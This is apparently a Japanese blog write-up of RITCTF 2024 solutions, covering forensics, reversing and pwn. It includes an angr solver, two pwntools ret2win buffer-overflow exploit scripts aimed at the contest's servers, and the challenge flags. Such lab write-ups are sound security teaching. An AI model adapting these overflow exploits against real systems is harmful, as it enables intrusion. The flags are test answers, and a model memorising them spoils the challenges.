RITCTF 2024 - Writeup

# 初めに
RITCTF 2024のWriteupになります。
pwnとrevとforensicの記事です。
備忘録デス。

https://ctfd.ritsec.club/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/232ed975-dcb3-7d08-87a1-3d6a526710f4.png)

# Forensic
## Ransom Note
>After the break-in to his lab Anthony found a suspicious new file on his desktop named README.txt. Anthony opened the file and found that it was a ransom demand from whomever stole his invention. Perhaps the contents of the ransom note contain a clue to the attacker's identity.

以下のREADME.txtを渡される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a441ec0c-7c7a-98b1-c7bd-fbc8d4d74133.png)
該当のBTCのアドレスに行ってみる。

https://www.blockchain.com/explorer/addresses/btc/bc1qd7qtdayjnl382qmfl4tl4yaejuv5py0n3uwq6p

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/37ec57ba-92d0-69e6-d010-a71803cff845.png)

適当にアクティビティ探ってたらありました。
![Screenshot_2024-04-07_15_51_20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/87c7b232-6be3-c278-7743-9256e03c66aa.png)

`RS{26f9c2fcdfe8e86804eb}`

## Decrypt the Flood
>Dive into the digital currents of Decrypt the Flood! Navigate through encrypted waters, uncovering clues hidden within the network flow. Will you decrypt the mystery behind Anthony's vanished invention, or will it remain lost in the flood?

pcap fileを渡されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d19bca21-6d97-7684-37ee-9b48efce42fa.png)
ごちゃごちゃして何もわかりません。もしかしたら平文で書いてるかもしれないのでstringsかけます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f5d08cd0-b2c8-9895-12c3-61765d73a6c6.png)
ありました。pcapはこういった解き方があることは聞いてましたが、いざやるとズルをしてる感覚が個人的にあります。。。

`RS{pc@p$_@r3_0ur_fr!3nd$}`
# Reversing
## My Favorite Flag
>In our relentless quest to reclaim Anthony's cherished invention, we find ourselves navigating the intricate pathways of cyber investigation. Our attention is drawn to a digital artifact, the a.out file, a seemingly innocuous entity yet harboring secrets within its binary code. With Anthony's invention at stake, suspicions now converge not only upon Sophie, a figure of authority with a nuanced understanding of the facility's inner workings, but also upon Alex, a shadowy presence lurking within the digital ether.

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/064f42c2-503e-f78b-f39c-8ab383af646f.png)
1つの実行ファイルとC言語ファイルを渡されます。
C言語は以下です。
```c:checker.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {
  int l, i, j;
  unsigned char input[50];
  unsigned char* output;
  unsigned char b[] = {0x0, 0x28, 0x13, 0x36, 0x11, 0x7a, 0x6e, 0x4, 0x6c, 0x55, 0x5f, 0x39, 0x4, 0x1d, 0x4e, 0x66, 0x6f, 0x6b, 0x42, 0x49, 0x0, 0x52, 0x0, 0x53, 0x1f, 0x0, 0x56, 0x4e, 0x5c};
  char* s = "RS{0h_b0y,I_10v3_f4k3_fl4gs!}";

  printf("Can you guess my favorite flag? > ");
  fgets(input, 50, stdin);
  l = strlen(input);
  if (input[l-1] == '\n') {
    input[l-1] = '\0';
    l--;
  }
  if (l != strlen(s)) {
    printf("Nope! Try again :)\n");
    return -1;
  }
  if (strcmp(input, s) == 0) {
    printf("why would I like a fake flag??\n");
    return -1;
  }
  output = malloc(l+1);
  for (i=0; i <l; i++) {
    output[i] = ' ';
  }
  output[l+1] = 0;

  for (i = 0; i < l; i++) {
    output[(2*i) % l] = input[i] ^ b[i];
  }

  if (strcmp(output, s) != 0) {
    printf("Nope! Try again :)\n");
    return -1;
  }

  printf("Yeah how'd you know?\n");

  return 0;
}
```
実行ファイルはこのC言語のやつですね。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4fa9964f-9cbb-f989-67ff-23d1857aa6a4.png)
上手いことFlagを入力をした時に`Yeah how'd you know?`とかえしてくれるようなのでこの文字列を探索するためにangrを使ってみる。避けるべき文字列は`Nope! Try again`を指定した。これらの条件を標準出力`posix.dumps(1)`に指定する。最後に見つけたものの標準入力`posix.dumps(0)`を出すだけでよい。
```python:solv.py
import angr
import claripy
proj = angr.Project('a.out', load_options={"auto_load_libs": False})
argv = [proj.filename]
state = proj.factory.entry_state(args = argv)
simgr = proj.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"Yeah how'd you know" in s.posix.dumps(1), avoid=lambda s: b"Nope! Try again" in s.posix.dumps(1), step_func=lambda lsm: lsm.drop(stash='avoid').drop(stash='deadended'))

if len(simgr.found) > 0:
    state = simgr.found[0]
    print(state.posix.dumps(0))
else: print("Not found...")
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/874ab128-30da-03cf-4187-b7771003bfea.png)

`RS{Th3_r3al_0n35_4re_b35t_:)}`

## Guess
>I was rummaging around some old files and found this badly made app (not mine by the way). Do you think you can uncover any hidden information hiding in when running it? You can download it here(guess.apk).

guess.apkファイルを渡されるのでとりあえず以下サイトに突っ込みます。

https://www.decompiler.com/

`sources/com`配下にいかにもなファイルを見つけます。flagって書いてあるし。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0d38783b-9e03-011c-a680-106fcf03126e.png)

https://www.decompiler.com/jar/e49d2f9471f04d59903d1454d71d832e/guess.apk/sources/com/example/guess/MainActivity.java

javaが分からなすぎるので、ChatGPTに聞きます。
![2024-04-06_18.35.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/93ac1169-e9ed-3461-f254-16917eb642a5.png)
いいPythonを出力してくれたのでちょちょいといじってあげます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/34250fd7-718c-121a-56c5-e1fff284127d.png)
GPTマジ神

`RS{gu3ssy_funct1on}`

# Pwn
## The Gumponent
> Hey, Chase here. Some of us on the team think we've found a component of something Anthony was last working on. Its seen running on a server.
Additionally, someone found a prototype. Do you can you dig into this and see if there is something on the server that could tell use more?

１つのバイナリが渡されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fe13059f-1560-44b7-f8dd-337e367989c7.png)
ほう、Ghidraで見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/39344d05-46df-ca2d-be9d-879566cd9a40.png)
`local_98`にバッファオーバーフローを仕掛ける方向でいいでしょう。
どこにReturnさせるかは、シンボルが消されてるので面倒ですが探すしかないでしょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0e342631-30d5-fcc3-8f72-6389ad5b08f4.png)
それっぽい関数を見つけました。checksecも確認しておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9b6ab26e-b447-8f66-6acf-afd8f386dce4.png)
アドレスのランダム配置されてなさそうなので大丈夫そう。
（バイナリの通常の出力にアドレスが書いてるのはちょっと引っかかるけど）
続いてReturnまでのOffsetを求めます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c690864c-e601-4163-318f-6f06a42c58dd.png)
この文字列を叩き込みます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9848690f-6206-757d-6a80-5c060c3942f5.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4fb583b0-2928-80a7-de1c-b28b721dac0c.png)
rcxのアドレスをcallしてるのでどこまでか確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c6fccdde-d5ea-96d0-53f7-2ed1807444e6.png)
32個適当にバイトを通せば良さそうですね。
Solverはこうなった。
```python:solv.py
from pwn import *

context.log_level = "debug"

binfile = './test_gumponent'
offset = b'\x02'*32
rhost = 'ctf.ritsec.club'
rport = 31746

elf = ELF(binfile)
context.binary = elf

p = remote(rhost, rport)
p.recvuntil('function is at ')
p.recvuntil("\n")

gofunc = 0x401230

payload = offset
payload += pack(gofunc)

p.sendline(payload)
p.interactive()
```
![Screenshot_2024-04-06_13_45_59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/584211c0-e1cf-bbd5-14d8-3dc3da271cdf.png)
`RS{to_gump_or_not_to_gump}`

## Risky Clue
> Can you guess the riddle?

バイナリファイルが１つ渡されます。実行できないのでどんな形式か見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e5afa54f-d7ac-ca3e-d326-d6009e8ab527.png)
RISC-Vですか。
`qemu-riscv64`を使って実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a6fb9900-e60d-177b-9703-a3e24b6ea3a2.png)
実行できてそうですね。
どんなものかGhidraで見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/140dd6bd-5695-6adc-7a1c-69f583d74a72.png)
`abStack_78`にバッファオーバーフローを叩き込む方向でいいでしょう。
どこのアドレスに飛ばすかはいいものがありました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/41c7c12b-3865-aff2-009b-2aabe81f79fe.png)
RISC-Vでもこういった関数が用意されてればやることは同じですね。ret2winのやり方でおｋです。
win関数のアドレスを確認しておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/dc614a37-d0d6-8b7f-bbf3-7a7a8baf42ce.png)
このアドレスに飛ばすわけです。
後はReturnまでのOffsetを求めればいいです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f341f130-2da7-d747-75bb-b8d8064527fc.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/21e3ce08-684e-ddfa-38d0-e5558c0555ed.png)
112個分埋めれば良さそうですね。
後はSolverを組むだけです。
```python:solv.py
from pwn import *

context.log_level = "debug"

binfile = './clue'
libcfile = ''
offset = b'A'*112

rhost = 'ctf.ritsec.club'
rport = 30839

gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p

win = 0x0000000000010446

p = conn()
p.recvuntil('Your answer: ')
p.sendline(offset + pack(win))

p.interactive()
```
![Screenshot_2024-04-07_11_47_24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f3c383df-61bf-09b2-8f2f-c8dfda1b8c7b.png)

`RS{CLU3S_1N_R1DDL3S_4R3_C0NFUS1NG}`